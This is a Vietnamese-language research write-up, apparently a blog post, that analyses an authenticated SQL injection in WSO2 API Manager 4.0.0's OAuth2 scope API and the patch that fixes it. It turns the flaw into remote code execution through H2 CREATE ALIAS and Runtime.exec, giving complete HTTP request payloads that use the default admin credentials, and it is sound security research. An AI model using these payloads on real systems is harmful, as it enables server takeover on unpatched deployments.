Lỗi này được public vào tháng 6 2023 nhưng không có mã CVE, sau đây là các version bị ảnh hưởng, và một số thông tin khác: ![image](https://hackmd.io/_uploads/SJE6WC3X0.png) ![image](https://hackmd.io/_uploads/rJ51fR3QR.png) Ref: https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2023/WSO2-2022-2182/#security-advisory-wso2-2022-2182 ## Tổng quan: Đây là một lỗi liên quan tới SQL, với endpoint chỉ có thể truy cập từ người dùng đã xác thực ## Setup: - WSO2 API Manager ver 4.0.0: https://github.com/wso2/product-apim/releases/tag/v4.0.0 - Java version 11 - Command chạy với windown: ```cmd= PS D:\JAVACVE\wso2am-4.0.0\bin> .\api-manager.bat --debug 5005 ``` - URL web: http://localhost:9443 (login account mặc định admin/admin) Đồng thời setup debug trong IntelliJ như sau: ![image](https://hackmd.io/_uploads/Byqo70hQC.png) ## Check commit: Đầu tiên sẽ kiểm tra xem lỗi được vá như thế nào từ bản vá được public ở trang chủ: [URL](https://github.com/wso2-extensions/identity-inbound-auth-oauth/pull/1603), củ thể hơn: [URL](https://github.com/wso2-extensions/identity-inbound-auth-oauth/pull/1603/files/833057fa897bbf9a9a0ebb07337b91acff6a1e2f) ![image](https://hackmd.io/_uploads/BywqER37A.png) Lỗi được vá bên trong file OAuthScopeDAOImpl.java, method `getRequestedScopesOnly` Path: `org/wso2/carbon/identity/oauth2/dao/OAuthScopeDAOImpl.java` ```java= public Set<Scope> getRequestedScopesOnly(int tenantID, Boolean includeOIDCScopes, String requestedScopes) throws IdentityOAuth2ScopeServerException { if (log.isDebugEnabled()) { log.debug(String.format("Get requested scopes for scopes: %s for tenantId: %s with includeOIDCScopes: %s", requestedScopes, tenantID, includeOIDCScopes)); } String sql; if (includeOIDCScopes) { sql = String.format("SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.NAME IN (?)"); } else { sql = String.format("SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.SCOPE_TYPE=? AND SCOPES.NAME IN (?)"); } List<String> requestedScopeList = Arrays.asList(requestedScopes.split("\\s+")); String sqlIN = (String)requestedScopeList.stream().map((x) -> { return String.valueOf(x); }).collect(Collectors.joining("', '", "('", "')")); sql = sql.replace("(?)", sqlIN); ``` Phân tích một chút về đoạn code: - requestedScopeList sẽ tạo ra một mảng list lấy giá trị từ tham số requestedScopes được phân cách bởi khoảng trắng (bao gồm cả xuống dòng,tab,...). - Sau đó các từng giá trị trong mảng sẽ được thêm vào kí tự (''), tiếp tục các giá trị này sẽ được đưa vào câu query SELECT tuỳ vào giá trị của includeOIDCScopes. - Cuối cùng câu query sẽ được thực thi ![image](https://hackmd.io/_uploads/S1FEvk6X0.png) ## Exploit: Sau khi phân tích vậy lỗi SQL xảy ra như thế nào? Mặc dù đã sử dụng prepareStatement nhằm hạn chế SQL attack. Để ý kĩ một chút sẽ thấy việc sử dụng `collect(Collectors.joining("', '", "('", "')"))` đã vô tình tạo ra lỗi SQL trước khi đưa vào thực thi. Ví dụ khi input requestedScopes = 123 câu query sẽ là: ```sql= SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.NAME IN ('123') ``` Nếu như thêm ') vào nữa thì câu query sẽ trở thành: ```sql= SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.NAME IN ('123')--') ``` Như vậy việc POC lại SQL đã gần như là hoàn thành, bây giờ chúng ta cần biết CSDL đang dùng cho WSO2 là gì và tìm ra endpoint để truy cập đến đoạn bị lỗi này. ![image](https://hackmd.io/_uploads/Bkelq1p7C.png) - Về mặc định WSO2 sử dụng H2 database: https://is.docs.wso2.com/en/6.1.0/deploy/work-with-databases/#change-the-default-databases - Và ở document của WSO2 cũng đã có viết về cách truy cập đến class bị lỗi trên: https://is.docs.wso2.com/en/6.1.0/apis/oauth2-scope-management-rest-apis/#/Scope%20Management/getScopes ![image](https://hackmd.io/_uploads/By4KqJaXA.png) > The OAuth2 scope API in WSO2 Identity Server (IS) can be used to manage oauth2 scopes and scope bindings such as roles and permissions. Since OIDC scope is a sub category of OAuth2 scopes, these endpoints cannot have the same scope names as in WSO2 IS. - Như đã nói ở trên lỗi này cần có tài khoản auth, thế nên không thể quên xác thực thêm với request header: Authorization: Basic <Base64Encoded[username:password]> - Truy cập đến với method GET: `https://localhost:9443/api/identity/oauth2/v1.0/scopes` và 4 tham số như trên ảnh, nhưng chúng ta chỉ cần quan tâm đến param `requestedScopes` vì tham số này được truyền vào method `getRequestedScopesOnly` Bây giờ ta sẽ test inject thử xem phân tích lý thuyết trên đã đúng chưa - Trước khi test cần nhớ đến: `split("\\s+")`, nếu như payload có khoảng cách thì nó sẽ được đưa vào mảng, nên query syntax trở nên bị sai. Cách bypass chỉ cần sử dụng /**/ thay thế cho space. Ví dụ như sau: `')/**/or/**/1/**/=/**/1/**/--` ![image](https://hackmd.io/_uploads/B1y23kpXA.png) ![image](https://hackmd.io/_uploads/B1OnhJamR.png) Việc sử dụng H2 có thể dẫn tới RCE, đọc thêm ở blog: https://www.sonarsource.com/blog/dotcms515-sqli-to-rce Ta sẽ có 2 query sau để RCE: ```sql= Query 1: CREATE ALIAS EXEC AS $$ void e(String cmd) throws java.io.IOException {java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$ Query 2: CALL EXEC('whoami'); ``` - Điều kiện cần cho việc sử dụng query RCE này là H2 có hỗ trợ stack query (thực thi 2 câu lệnh) cùng một lúc hay không? Sau một hồi search thì không ra gì (sure là search gà :v) thì có thấy một thread báo cáo lỗi (không liên quan lắm) ![image](https://hackmd.io/_uploads/SkAfblaX0.png) Thì mình nghĩ chắc là có hỗ trợ, test thử xem sao :v ![image](https://hackmd.io/_uploads/rJ29bx6QR.png) Replace space và URL encode sau đó inject thử thôi. ![image](https://hackmd.io/_uploads/HknoZgTQR.png) OMG :v Server 500 chắc chắn bị lỗi syntax ![image](https://hackmd.io/_uploads/Byf0bgpXA.png) Check lại lỗi trong log thì đúng là thế thật, sau khi kiểm tra lại và có thử CHATGPT thì mình đã tìm ra nguyên nhân ![image](https://hackmd.io/_uploads/BJnfzgaX0.png) Việc sử dụng $$ để thay thế như là một chuỗi, bây giờ thử sửa lại xem sao: ``` ');CREATE ALIAS EXEC AS 'void e(String cmd) throws java.io.IOException{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}';-- ``` ![image](https://hackmd.io/_uploads/Hyn8Mx6XC.png) ```http= GET /api/identity/oauth2/v1.0/scopes?includeOIDCScopes=true&requestedScopes=');CREATE/**/ALIAS/**/TEST/**/AS'void/**/e(String/**/cmd)/**/throws/**/java.io.IOException%7Bjava.lang.Runtime/**/rt=/**/java.lang.Runtime.getRuntime();rt.exec(cmd);%7D';-- HTTP/1.1 Host: localhost:9443 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/json ``` OK perfect, cuối cùng chỉ cần gọi đến hàm EXEC và truyền tham số nữa là xong. ![image](https://hackmd.io/_uploads/B1fifx6mA.png) ```http= GET /api/identity/oauth2/v1.0/scopes?requestedScopes=');CALL/**/EXEC('calc');-- HTTP/1.1 Host: localhost:9443 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/json ``` Calc được popup, vậy là đã hoàn thành.